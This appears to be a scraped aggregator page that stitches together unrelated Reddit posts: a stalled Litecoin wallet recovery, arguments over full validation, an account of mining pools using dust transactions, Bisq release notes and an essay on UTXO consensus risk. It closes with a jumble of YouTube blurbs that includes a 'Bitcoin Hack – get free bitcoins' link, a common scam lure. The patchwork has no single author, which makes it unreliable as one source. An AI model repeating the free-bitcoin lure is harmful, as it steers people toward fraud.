  3. using the tools here https://vicente-hernando.appspot.com/bitcoin-wallet-encrypt-decrypt-cipher - RESULT: It appears that you need to know all of the private keys and I am not sure this is viable. Also, while his English is good I was unable to understand some of the commands.
  4. using Wallet Key Tool https://github.com/prof7bit/wallet-key-tool/releases - RESULT: It doesn't really work with Litecoin all that well. There were about a hundred keys in there but none had dates or balances associated. I was at least able to verify that the password I have for the wallet does work.
  5. attempted to recover with "wallet-recover" as shown here: https://bitcointalk.org/index.php?topic=2668480.0 - RESULT: I get an error ./wallet-recover: 1: ./wallet-recover: Syntax error: "(" unexpected

I'm not really sure where to go next with this. I feel like I'm moving backwards now.

submitted by ennalta to litecoin [link] [comments]

"If you are using any non-Core wallet, you are not doing full validation of the blockchain [...]"

I do not like /btc's tendency to put Core supporters' quotes under the microscope in order to discredit them, but this particular comment is incredibly dangerous on its own.
https://np.reddit.com/Bitcoin/comments/5ohgdx/bitcoin_core_taking_ages_and_using_all_my_ram/dcjrzo0/?context=2
If you are using any non-Core wallet, you are not doing full validation of the blockchain and am ultimately trusting to some lesser or greater degree the services provided by others.
It is dangerous to deceive users into believing that there is only one option for running a fully validating node, and extremely disrespectful to the massive efforts put forth by volunteer developers to create alternative implementations (forks and from-scratch implementations).
I notified the author privately asking for a correction, but none was offered:
https://np.reddit.com/Bitcoin/comments/5ohgdx/bitcoin_core_taking_ages_and_using_all_my_ram/dcjrzo0/?utm_content=permalink&utm_medium=front&utm_source=reddit&utm_name=Bitcoin This is not true. See: btcd, bitcoinj, knots, and arguably classic, XT, unlimited, etc.
btcd and bitcoinj do not do full validation. knots, classic, XT, ulimited, etc. ARE bitcoin core, in the technical sense.
submitted by PotatoBadger to btc [link] [comments]

Non-propagating dust transaction creation by pools needs to stop!

This is an issue that has led to unnecessary clogging of the network for a long time, yet it seems to be one that has been overlooked for some time.
For those who don't know: BLOCK REWARD = 12.5BTC + (SUM OF ALL TRANSACTION FEES MINED ON THAT BLOCK)
Most of the largest pools keep the transaction fee part of the block reward for themselves (i.e. they do not pay that out to miners.)
Here's what I'm talking about:
This is done by pools that do not pay out transaction fees to miners (Antpool is by far the worst offender.) The practice is only profitable to pools which retain the transaction fee part of the block reward for themselves. The pool constantly creates a large number of minable but non-propagating transactions by creating transactions which violate the network "dust" rule. This rule prevents payments of less than 0.00001BTC from being broadcast throughout the network. As a result the transaction gets "stuck" in the pool's node and as such can only be mined by them. They will attach a large fee to the transaction, which in turn lowers the priority of transactions with lower fees attached. This ensures that only transactions with the highest fees are included in the block they mine- leaving the transactions with lower fees attached unconfirmed, driving up the necessary transaction fee, wasting mining power mining transactions that server no other purpose other than to drive up transaction fees and allowing the pool to, in essence, refuse to mine transactions with a fee below a certain amount attached. Since the pool will mine it's own transactions, they can create a virtually unlimited number of these transactions, with many unconfirmed descendants, to serve their purpose depending on the state of the mempool, and since they do not pay out transaction fees to the miners, they will get back all the transaction fees they used to attach to these transactions. Algorithms determine how much of the block-space to "waste" in order to maximize the profit- since the mempool can be analyzed at any time, it can be determined exactly how many transactions to create and what fee to attach in order to mine the transactions with the highest fee attached and drive up the necessary fee to have a transaction confirmed along with the "smart-fee," while ensuring low fee transactions are mined by the pools that do not practice this strategy. The strategy pays highest when the mempool is above 1MB (the size of a block) or has quickly filled. It also is most profitable when the fee distribution and queue-time in the mempool is highly divided/distributed- this strategy can prevent lower-fee transactions that have been waiting a long time to confirm from replacing new transactions that have a high fee attached on a block.
In Summary:
  1. Pool creates many "dust" transactions and attaches a high fee to each.
  2. Dust transactions (transactions below 0.00001BTC) do not broadcast, so the pool is guaranteed to mine its own transactions and re-collect the high fees they attached to the transaction.
  3. Pool now only mines outside transactions with the highest fees (per kB) attached, leaving the low-fee transactions to be mined by pools which do not practice this while simultaneously driving up the fee necessary to have a transaction confirmed.
Example:
https://www.blockchain.com/en/btc/tx/c57ea54104bbf160bac88b65b2edf465c5f8ac9253c42e391100fc31b028d645
If you click on the address, you can see this exact transaction is repeated exactly every hour (which sends a fixed amount back to itself and an address that cannot be decoded, due to the nature of the transaction, being sent 0BTC- which is what makes this a dust transaction.) If you go back to the block this transaction was originally confirmed (mined) on (by Antpool) you will see tons of similar transactions. In fact, Antpool has hundreds, if not thousands, of addresses used solely for this purpose. The practice is much more calculated and complex (in actual practice) than I summarized above. Eventually (or sometimes even on the same block) the divided outputs created by each transaction you see on that account would/will be concatenated into a single output over an additional series of combining, non-broadcasting, "dust" transactions.
Can it technically be considered a fair practice?
While their are plenty of valid reasons to create non-propagating transactions, such as to concatenate inputs left with dust amounts of bitcoin after valid transactions, without risking loosing the entire amount due to the minimum transaction fee being larger than the total amount, creating transactions like this with no other purpose than to increase a pools own profits is hard to argue as being a honorable one. Furthermore, since this practice is overall detrimental to the network (filling blocks with loads of unnecessary transactions, slowing confirmation times and artificially manipulating the necessary transaction fees) and in addition penalizes pools which pay the transaction fee part of the block reward to miners (since the practice cannot be performed by such pools, as it would cost the pool far too much,) as well as the fact that THE MINERS- THE ONES ACTUALLY CONTRIBUTING THE MINING POWER ARE NOT BENEFITING, I think it is safe to say that this practice is a deplorable one. Yes, one could argue that this is a loophole and exploiting it is going to be a natural occurrence, but I believe that since it encourages pools not to pay the transaction fee part of the block reward to miners, it is a practice that should not continue.
What to do about it?
There are a few options:
You can try if you run a full-node, but...: I for instance run a full node on a high bandwidth, fixed IP and allow incoming connections. I allow more connections in the command line options and maintain a few hundred connections at once. I noticed a few pools started automatically connecting to my node (I had to do some nmap scanning and some other testing to confirm they were indeed pool nodes, and who they belonged to, but was able to determine that- my first clue was multiple connections from bitcoinj nodes in the same subnet.) I was also able to find the addresses of other pool nodes and manually add them with the `addnode' command. So, with multiple pools connected (or the ability to connect to multiple pools upon restart,) I tweaked my node to allow for the broadcast of both zero-fee and dust transactions. My thinking was that I could serve as an unknowing "bridge" between pools- broadcasting one pools "dust" transactions to another, thereby removing the pool's ability to ensure that the transaction was not mined by another pool and making the practice unprofitable.
BUT... While this sounds good in theory, in practice it doesn't work for a few reasons. First of all, the pool nodes would not connect to me once I started broadcasting dust transactions. Second, I noticed my overall connection count way down, leading me to believe that broadcasting dust transactions was causing me to be labeled as a misbehaving node and finally, while this could work for some less advanced pools, Antpool, at least, designs its dust transactions in such a way that they violate more than just the "dust" rule- further tweaking would be required and this would need to be an action taken by a majority of nodes to work.
The only other option, I suppose, would be to appeal to the bitcoin dev team. Perhaps they could implement a way to prevent this practice, although I do not likely see it happening. The "dust" rule is in place to prevent clogging of the network with tiny transactions- to prevent anyone wishing to back-up the network from being able to do so without spending a large sum of money. The dust rule and the minimum transaction fee go hand in hand to prevent such occurrence- so anyone wishing to do harm to the network would soon find themselves spending very large amounts of BTC in an attempt to back it up- pools which retain the transaction fee however are not bound by these limitations.
The only real option to fight this, as a miner, is to mine on a pool that pays the transaction fee part of the block reward to the miners- you'll make more anyway, even if the overall fee may be slightly higher. An example of one of these pools is KANO, there are many others. I would just avoid antpool in general- but that's just me.
tl;dr
Pools which retain the transaction fee part of the block reward use a loophole is a network rule that allows them to only mine high fee transactions, which in turn hurts pools that pay the transaction fee part of the block reward to miners, clogs up the network- slowing confirmation times, and drives up transaction fees.
submitted by Mypassispass123 to Bitcoin [link] [comments]

I'm doing a small school project. How does one create and manage Bitcoin wallets ?

Hi Bitcoiners !
I'm a developper doing a small school project. I need to create and manage users' Bitcoin wallets in my app, but I'm not sure how to do it.
I've learned about the bitcoinJ library and its use cases but I don't know if it's enough and/or convenient enough for a Blockchain noob. It seems like you can create wallets, view balances, transact, and such. Not sure about how networking works, and I don't seem to find any exhaustive documentation about it either.
Is there another open-source and free library that can create wallets and let me put my own GUI over it ? I'm open to suggestions.
Thanks !
submitted by UntitledDude to Bitcoin [link] [comments]

Introducing Litecoin as base currency - Huge Bisq/Bitsquare update - Check out v0.5.1

This release comes with tons of changes and improvements.
Please download at: https://github.com/bitsquare/bitsquare/releases/tag/v0.5.1
Most relevant changes are:
Please see the full release notes below.
As that release has very profound changes it is NOT backward compatible to the earlier versions. It uses a new network which is separated from the current trade network. So your offers from the current application will not be visible for users who are using the new version.
If you want to migrate to the new version you need to close your offers and withdraw your funds to the new application. You can run both applications in parallel as they are using a different data directory. You cannot move over the wallet or application data because the wallet format has changed (BIP44) and we use a different data structure for the data base files. So you need to transfer the Bitcoin with a BTC transaction and set up your payment account(s) manually.
Please double check with cmd+e in the old application if no funds are left over (some bugs might have caused that the balance displayed in the UI is not correct).
Please use small amounts when starting trading in the new application as with so many changes there are some risks for bugs (though it is thoroughly tested).
Release notes:
submitted by heavyuser1337 to litecoin [link] [comments]

Chris Derose: "Its time to stop 'pretending'. You don't own Bitcoin. Now can we stick together?"

I am reprinting this with Chris's permission - originally posted on his Patreon board.
------Start Article------
You don't own Bitcoin. There, someone had to say it. Might as well be me. Owning Bitcoin was a great meme. Had an awesome run. But you don't own it, and never did. Sound delusional? Nope. By the end of this article, you will probably agree. What was once once a simple equation has become far more complex. And with that complexity comes a new understanding of what it is you bought: a UTXO.
If you know what a UTXO is - skip this paragraph, and continue on to the next one. If you don't, read on. Bitcoin uses a 'triple ledger accounting system'. What you know as 'your balance' (say, "3 bitcoins") is actually a collection of 'checks' made out to your public address. When you spend 'a bitcoin', you broadcast a check of your own. Your check allocates Satoshis from the unspent checks you hold, as the source of the funds for the next guy. That check you wrote out to the next guy? That check is now an unspent transaction output (UTXO). He can use this unspent check to repeat the procedure. This process of new checks written by sourcing unspent checks continues on indefinitely. Still confused? Here's an ancient presentation where I explain this process in greater detail. If you're a Bitcoin investor, you should understand what risk you own.
Now it's time to have a sober discussion about the ramifications.
Unlike 'pennies' or 'gold bars', every UTXO is different. Every single one is unique. Like checks, no two are identical. As such, each UTXO represents a different articulation of risk. Some UTXOs might be 'tainted' with a black market origination. These UTXO's will be hard to redeem at an exchange, and may be better suited for sale on localbitcoins.com. Selling the UTXO there, has the benefit of maintaining secrecy. This benefit will make that UTXO more valuable. Or, maybe, you want to try your luck at tumbling these UTXOs. For a fee, someone will jumble your check up and obfuscate its origin. You can redeem this newly obfuscated check on an exchange at a small total net loss. This form of UTXO risk is generally labeled 'fungibility' risk. We've had this risk for years, and by and large, it's a well understood problem. But there's a more relevant kind of UTXO risk in 2017.
I don't know what to call this newer risk, if not 'consensus' risk. See, your UTXOs were formed at a certain block height. And as a general rule, the older your UTXO, the less consensus risk that UTXO has. For example, if your UTXO was formed prior to the Bitcoin Cash fork, it can be redeemed on both Bitcoin blockchains. Depending on how old your UTXO is, it may even be redeemable on one or more of the following Bitcoin blockchains: XT, Classic, Unlimited, and even Clam. (Assuming buyers for these Bitcoins are still around.)
If you're skeptical that some UTXOs are riskier than others, ask yourself what you'd want: A older UTXO that can be spent on all bitcoins? Or a newer one, that's only available on your favorite bitocoin? The correct answer, is the UTXO that can be redeemed across all bitcoins. It's more valuable, for the simple reason that it can be spent on all networks. And many people are proud to claim the 'Bitcoin Cash' value of their UTXOs for value on the... well, Bitcoin-that-is-not-Cash.
So what you thought was 'a Bitcoin' is actually a UTXO, formed under a Bitcoin ruleset. And your UTXO is redeemable under one or more other Bitcoin rulesets. These rulesets have version numbers. And you know what? They even have names.
In fact, its kind of annoying to keep talking about the Bitcoin-that-is-not-Cash. Hell, I'd like to talk about the Bitcoin-that-is-not-Cash-and-not-xt-and-not-classic-or-unlimited-or-clams-either quite frankly. And you know what? I think investors would too. So I polled them. And that seems to be what they said.
So, I went to bitcoin.org, and I wanted to see what they would call this bitcoin, that so many people seem to want unnamed. And they call it this:
Bitcoin Core
There. That wasn't so hard. Download Bitcoin Core.
The benefits of articulating what risk we want to bear when holding UTXOs are manyfold. Take the bitcoinj, btcd, and bcoin rulesets. I know what you're thinking: they're all the same! Nope. You're completely wrong. Here's another ancient video I did. This time with Peter Todd. Peter Todd wrote a lot about the difficulties that can cause ruleset implementations to come out of sync with Bitcoin Core. There are so many, that exchanges don't bother running those implementations at all. Or when they do, they only do so to ensure that all versions of all rulesets are in sync. If you're skeptical, run a little experiment with yourself. If a weird bitcoin transaction came into a block, that caused implementations to go out of sync, which implementation would you proceed on? Do you have an answer? I bet it's Bitcoin Core. Or hey, maybe its Bitcoin Cash. But the point is the same: Consensus implementations are named and numbered. And both of those labels impact the risk of the UTXOs they produce.
Still in disbelief about the difficulty of consensus? Here's another great article on the subject. There are many others. This is an old topic, settled long ago.
And you know what? I think that's great. I love Bitcoin Core. So do most bitcoiners. Articulating our consensus risk lets us solve problems like this without government intervention. Similarly, exchanges won't want to bear the legal liabilities associated with making guesses over what consensus risk their depositors want exposure to. You may still be reluctant to stand in solidarity with your most trusted Blockchain team. I get that. I too resent that the community has fractured to the degree that it has. Blockchain ain't what it used to be.
If you thought this article was complicated, well, no one wants to have this discussion with the courts. And over time, you can expect more organizations to begin declaring this too. So, I think we should just embrace the elephant in the room. Rather than wear hats. Change our twitter handles. And do whatever crazy thing it is we do to express solidarity with a team, why not just start calling our favorite Bitcoin by its name? That seems like a reasonable way to tell the people who hold our UTXOs what to do when there's an emergency.
Belonging to a team isn't shameful. It's worked well enough for most blockchains. And really, we don't have a choice. Be proud to declare the Bitcoin you want to hold, and maybe you'll drown out those that wish to take it from you. If we stick together, maybe that will address the problems that caused us to be afraid of labeling our bitcoin to begin with. Who knows? Maybe that can even get a non-contentious hardfork out the door one of these days.
All this discussion does raise a greater question though: What is the true Bitcoin? Some people like Vinny Lingham, think it's ruleset with the largest amount of work. That's been my view. But it's a tough view these days as relations between Bitcoin Core and its miners have deteriorated. I still lean toward energy-expended as the best metric. But I don't think anyone really knows what to do. Maybe the 'true Bitcoin' is the Bitcoin with the highest market cap. Or highest volume. Or highest node count. Or... maybe we don't have a true Bitcoin. And the best that we can do is have the market asses the risk of competing rulesets.
I love core. They're great. But there's nothing more political than rulesets. We seem to be in a partisan era in the story of Bitcoin. Some people are engaging in denial. Others look forward to the ability to express solidarity with a group of specialists they trust.
What do you think?
submitted by caulds989 to Bitcoin [link] [comments]

[dev] Losing One Founder is Misfortune...

As you may have heard, this week one of the Dogecoin founders announced they are leaving cryptocurrency. To paraphrase Oscar Wilde, to lose one founder may be regarded as a misfortune; to lose both looks like carelessness. Mostly I like the quote, but there is a point here -- Jackson is not the first Dogecoin founder to go, he's just the first one to feel they needed to make a big public announcement as they left.
Naturally many are questioning how this will affect the coin, but to my mind I'm not expecting any significant change. Jackson was responsible for much of the original design of Dogecoin, and we are left with a lack of marketing, but I think it’s reasonable to say Jackson hasn't been active in marketing Dogecoin for a very long time now.
Going forward, leadership and direction continues to be provided by langer_hans (Max), and development effort remains as-is. In fact, I would hope we’ll see a clearer path ahead, with those actively involved in Dogecoin more readily visible to external parties. This is particularly important as Jackson has often been the public face of Dogecoin up until now, and I'm aware many disagree with his views and direction.
This said, while I disagree with Jackson’s conclusion on cryptocurrency, he makes some good points. There is a very good quote in the Coindesk article:
"All in all, the cryptocurrency space increasingly feels like a bunch of white libertarian bros sitting around hoping to get rich and coming up with half-baked, buzzword-filled business ideas which often fail in an effort to try and do so."
Cryptocurrency as a technology has so much promise for those who cannot access banking services, yet somehow there's a focus on using it for those who have alternatives. One of the most frequent criticisms of Dogecoin is that it's not making people money. We have a technology that can revolutionise infrastructure, but so few ask how much it can make things better, and so many ask how it will make them money. You can also see this in many's expectation that cryptocurrencies should compete against each other, rather than focusing on competing with existing technologies.
There's a lot of misdirected effort out there, and we need to focus on how best to improve the current state, and less on how it may or may not make the rich richer.
On that note, work on the Dogecoin Core 1.9 client has been slightly stalled while we look at fees (we may need to come back to this later), but a patch is with the other devs for review now, and once cleared we should be able to make good progress. Litecoin Core has a release candidate for their equivalent client out now, which is extremely impressive work, and I'm hoping we can sit down and talk to them about their methodology to see if we can improve turnaround. Meanwhile, we still desperately need people reviewing code changes, so if you can help review code, please dig into the queue at https://github.com/dogecoin/dogecoin/pulls
I definitely want to get back to dogecoinj and the underlying bitcoinj, and with luck I'll have more time for those projects this coming week.
Looking to the further future, blockchain pruning is being added to Bitcoin Core at the moment and should significantly reduce the disk space required to run nodes with full validation of transactions.
Personally I'm still setting up in my new place, however furniture and remaining hardware should be in place next week, which will assist. Meanwhile I hope things are a little quieter for the next few weeks, and expect for these updates to return to a regular fortnightly pace, so should talk to you all on the 10th or thereabouts.
Last but by no means least, you may have heard of the disaster in Nepal. There’s been talk of setting up a Dogecoin fund, but realistically there’s a need to help now, not at the end of a fundraising period and after we figure out transfer back to conventional currency. Both Médecins Sans Frontières and Red Cross are raising funds to assist. Personally I prefer MSF, but Red Cross do have a cryptocurrency donation option. If you can donate, please do.
submitted by rnicoll to dogecoin [link] [comments]

[ALPHA] ThunderNetwork - A Lightning Network Implementation Working Now

Good Day everybody
I present you a implementation for a Lightning Network Payment-Hub + Client. Everything is written in Java and can be accessed on
http://thunder.network
https://github.com/matsjj/thundernetwork
EDIT: Currently the Wallet App does need Java JRE 1.8 (which you should have installed anyway). While it does run fine on my Desktop, I ran into FilePermissionErrors from bitcoinj while running it with user privileges on a Laptop. Guess I have to work on the deployment..
I made some changes to the channel design to have everything working on the current Blockchain, without the need for softforks. Due to that, the network is no longer no-trust, but low-trust. This will change with the upcoming new OP_CODES.
The provided wallet is just a prototype, I will focus on building a potent backend in the future. There are many wallets out there already, it will be much more useful if those add these functionalities.
Using such a payment network will help to greatly release the pressure in the blocksize-debate. Furthermore, as there are less everyday payments on the blockchain, there is more space for important transactions of higher value.
Possible right now (check out the prototype client!)
The server backend is currently running on a $4 VPS and should easily be able to support 0.5tps. A good dedicated server on a GBit should easily do 50tps, with much room for optimization aswell.
This is currently a low-trust solution, and not a no-trust, as this is not possible with the tools available in bitcoin currently. Due to the design of the channel, there are two unresolved issues:
  1. The server can mutate the opening transaction, locking in funds of both parties, as the refund tx are no longer valid.
  2. The server can refuse to acknoledge a payment, after the receiver published the secret. This pushes the receiver to broadcast the channel, at which point the server can try to claim some of the outputs
I described these risks in some more detail in the paper (I should really paste it in some LaTeX), and all of these attacks can be proved, such that the reputation of the payment hub is at risk as well.
I'm sure there is a lot I'm missing to explain. I'm also around in most IRC-Channels ( mjerr ).
submitted by matsjj to Bitcoin [link] [comments]

Huge Bisq/Bitsquare update - Check out v0.5.1

This release comes with tons of changes and improvements.
Please download at: https://github.com/bitsquare/bitsquare/releases/tag/v0.5.1
Most relevant changes are:
Please see the full release notes below.
As that release has very profound changes it is NOT backward compatible to the earlier versions. It uses a new network which is separated from the current trade network. So your offers from the current application will not be visible for users who are using the new version.
If you want to migrate to the new version you need to close your offers and withdraw your funds to the new application. You can run both applications in parallel as they are using a different data directory. You cannot move over the wallet or application data because the wallet format has changed (BIP44) and we use a different data structure for the data base files. So you need to transfer the Bitcoin with a BTC transaction and set up your payment account(s) manually.
Please double check with cmd+e in the old application if no funds are left over (some bugs might have caused that the balance displayed in the UI is not correct).
Please use small amounts when starting trading in the new application as with so many changes there are some risks for bugs (though it is thoroughly tested).
Release notes:
submitted by heavyuser1337 to BitcoinMarkets [link] [comments]

PSA: Clearing up some misconceptions about full nodes

It's time to clear up some misconceptions floating around about full nodes.
Myth: There are only about 5500 full nodes worldwide
This number comes from this site and it measured by trying to probe every nodes on their open ports.
Problem is, not all nodes actually have open ports that can be probed. Either because they are behind firewalls or because their users have configured them to not listen for connections.
Nobody knows how many full nodes there are, since many people don't know how to forward ports behind a firewall, and bandwidth can be costly, its quite likely that the number of nodes with closed ports is at least another several thousand.
Nodes with open ports are able to upload blocks to new full nodes. In all other ways they are the same as nodes with closed ports. But because open-port-nodes can be measured and closed-port-nodes cannot, some members of the bitcoin community have been mistaken into believing that open-port-nodes are that matters.
Myth: This number of nodes matters and/or is too low.
Nodes with open ports are useful to the bitcoin network because they help bootstrap new nodes by uploading historical blocks, they are a measure of bandwidth capacity. Right now there is no shortage of bandwidth capacity, and if there was it could be easily added by renting cloud servers.
The problem is not bandwidth or connections, but trust, security and privacy. Let me explain.
Full nodes are able to check that all of bitcoin's rules are being followed. Rules like following the inflation schedule, no double spending, no spending of coins that don't belong to the holder of the private key and all the other rules required to make bitcoin work (e.g. difficulty)
Full nodes are what make bitcoin trustless. No longer do you have to trust a financial institution like a bank or paypal, you can simply run software on your own computer. To put simply, the only node that matters is the one you use
Myth: There is no incentive to run nodes, the network relies on altruism
It is very much in the individual bitcoin's users rational self interest to run a full node and use it as their wallet.
Using a full node as your wallet is the only way to know for sure that none of bitcoin's rules have been broken. Rules like no coins were spent not belonging to the owner, that no coins were spent twice, that no inflation happens outside of the schedule and that all the rules needed to make the system work are followed (e.g. difficulty.) All other kinds of wallet involve trusting a third party server.
All these checks done by full nodes also increase the security. There are many attacks possible against lightweight wallets that do not affect full node wallets.
This is not just mindless paranoia, there have been real world examples where full node users were unaffected by turmoil in the rest of the bitcoin ecosystem. The 4th July 2015 accidental chain fork effected many kinds of wallets. Here is the wiki page on this event https://en.bitcoin.it/wiki/July_2015_chain_forks#Wallet_Advice
Notice how updated node software was completely unaffected by the fork. All other wallets required either extra confirmations or checking that the third-party institution was running the correct version.
Full nodes wallets are also currently the most private way to use Bitcoin, with nobody else learning which bitcoin addresses belong to you. All other lightweight wallets leak information about which addresses are yours because they must query third-party servers. The Electrum servers will know which addresses belong to you and can link them together. Despite bloom filtering, lightweight wallets based on BitcoinJ do not provide much privacy against nodes who connected directly to the wallet or wiretappers.
For many use cases, such privacy may not be required. But an important reason to run a full node and use it as a wallet is to get the full privacy benefits.
Myth: I can just set up a node on a cloud server instance and leave it
To get the benefits of running a full node, you must use it as your wallet, preferably on hardware you control.
Most people who do this do not use a full node as their wallet. Unfortunately because Bitcoin has a similar name to Bittorrent, some people believe that upload capacity is the most important thing for a healthy network. As I've explained above: bandwidth and connections are not a problem today, trust, security and privacy are.
Myth: Running a full node is not recommended, most people should use a lightweight client
This was common advice in 2012, but since then the full node software has vastly improved in terms of user experience.
If you cannot spare the disk space to store the blockchain, you can enable pruning. In Bitcoin Core 0.12, pruning being enabled will leave the wallet enabled. Altogether this should require less than 900MB of hard disk space.
If you cannot spare the bandwidth to upload blocks to other nodes, there are number of options to reduce or eliminate the bandwidth requirement. These include limiting connections, bandwidth targetting and disabling listening. Bitcoin Core 0.12 has the new option -blocksonly, where the node will not download unconfirmed transaction and only download new blocks. This more than halves the bandwidth usage at the expense of not seeing unconfirmed transactions.
Synchronizing the blockchain for a new node has improved since 2012 too. Features like headers-first and libsecp256k1 have greatly improved the initial synchronization time.
It can be further improved by setting -dbcache=3000 which keeps more of the UTXO set in memory. It reduces the amount of time reading from disk and therefore speeds up synchronization. Tests showed that the entire blockchain can now be synchronized in less than 3 and a half hours (Note that you'll need Bitcoin Core 0.12 or later to get all these efficiency improvements) Another example with 2h 25m
How to run a full node as your wallet.
I think every moderate user of bitcoin would benefit by running a full node and using it as their wallet. There are several ways to do this.
So what are you waiting for? The benefits are many, the downsides are not that bad. The more people do this, the more robust and healthy the bitcoin ecosystem is.
Further reading: http://www.truthcoin.info/blog/measuring-decentralization/
submitted by belcher_ to Bitcoin [link] [comments]

Bitcoins Erklärung: In nur 12 Min. Bitcoin verstehen ... Le Bitcoin et la Blockchain (avec Heu?Reka) - YouTube The Bitcoin and Blockchain Technology Explained - YouTube how to send and receive bitcoins on blockchain - YouTube How To Build Raw Bitcoin Transactions in NodeJS - YouTube

Blockchain.com is the most popular place to securely buy, store, and trade Bitcoin, Ethereum, and other top cryptocurrencies. After this tutorial you should have both a public bitcoin address and private key saved as variables. npm install bitcoinjs-lib. Download bitcoinjs library from your node terminal. var bitcoin ... Die Erstsynchronisierung von Bitcoin Core dauert sehr lange und lädt eine große Menge Daten herunter. Sie sollten sicherstellen, dass Sie ausreichend Bandbreite und Speicherplatz für die volle Größe der Blockchain (über 350GB) zur Verfügung haben. Falls Sie eine gute Internetverbindung haben, können Sie dabei helfen, das Netzwerk zu stärken, indem Sie auf Ihrem PC Bitcoin Core - mit ... Im Falle der Bitcoin Blockchain muss für die Erzeugung des neuen Blocks eine kryptografische Aufgabe gelöst werden. Dazu wenden die Miner unter anderem die Hash-Funktion SHA-256 an. Für die Aufgabe dienen die folgenden drei Größen als Input: der Previous Hash (256 Bit): aktuellster Block der Blockchain als Anknüpfungspunkt. die Merkle Root: ein Wert, der durch paarweises "Hashen" der ... Eine Blockchain ist eine Datenbank mit Transaktionen, die über alle Nodes verteilt ist, die am auf dem Bitcoin-Protokoll basierenden System teilnehmen. Eine komplette Kopie der aktuellen Blockain enthält jede Transaktion, die jemals bis zum aktuellen Zeitpunkt an ausgeführt wurde.. Jeder Block enthält einen Hash des vorhergehenden Blocks. Das hat eine Kette von Blöcken vom Genesis Block ...

[index] [20698] [43337] [41809] [22132] [2709] [28640] [46530] [28016] [46040] [7460]

Bitcoins Erklärung: In nur 12 Min. Bitcoin verstehen ...

Bitcoin Hack - BTC Hack - Bitcoin Cheats - How to get Free Bitcoins 2020 Link : https://arthck.us/2019/10/27/bitcoins-hack-bitcoins-cheats-get-free-unlimited... This developer how to video is a simple example of how to use the bitcoinjs-lib library in order to create bitcoin addresses and build raw transactions. Bitc... 💡V tomhle videu se vám pokusím vysvětlit, co je vlastně ten Bitcoin a jak funguje blockchain. 💰Nákup kryptoměn a $10 v Bitcoinu zdarma při nákupu nad $100: h... Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube. Qu'est-ce que le Bitcoin ? Comment marche-t-il ? En quoi la technique de la Blockchain permet-elle de le sécuriser ? La chaîne Heu?Reka : http://www.youtube....

#